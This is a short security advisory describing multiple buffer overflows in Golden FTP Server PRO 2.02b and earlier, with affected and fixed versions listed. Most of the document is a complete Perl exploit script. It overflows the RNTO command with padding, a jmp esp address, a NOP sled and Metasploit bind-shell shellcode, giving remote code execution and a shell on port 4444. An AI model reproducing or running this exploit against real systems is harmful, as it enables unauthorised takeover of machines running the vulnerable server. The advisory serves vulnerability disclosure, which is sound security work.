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Multiple Buffer Overflows in Golden FTP Server
------------------------------------------------------------------------
SUMMARY
<http://www.goldenftpserver.com/> Golden FTP Server is extremely easy to
use personal FTP server for Windows and can be run by any person who has
the most basic computer skills.
Golden FTP contains multiple vulnerabilities allowing a malicious attacker
to run arbitrary machine code on the target machine.
DETAILS
Vulnerable Systems:
* Golden FTP Server PRO verion 2.02b and prior
Immune Systems:
* Golden FTP Server PRO verion 2.05b or newer
Exploit Code:
This exploit code uses a buffer overflow in RNTO command to open a
bindshell on port 4444.
#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444
use strict;
use Net::FTP;
my $payload="\x41"x260;
$payload .="\x65\x82\xa5\x7c";#jmpesp
$payload .="\x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None
http://metasploit.com
$payload
="\xfc\x6a\xeb\x4f\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\xe3".
"\x30\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1".
"\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe3\x8b\x5f\x24\x01".
"\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24".
"\x1c\x61\xc3\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x1c\xad".
"\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x31\xdb\x66\x53".
"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc".
"\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53".
"\x43\x53\xff\xd0\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a".
"\x70\xc7\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9".
"\x57\xff\xd6\x53\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50".
"\x54\x54\x55\xff\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff".
"\xd0\x66\x6a\x64\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89".
"\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93".
"\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6".
"\x5b\x57\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad".
"\xd9\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83".
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff".
"\xd0";
my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload);
ADDITIONAL INFORMATION
The information has been provided by <mailto:barbsie@gmail.com> barabas
mutsonline.
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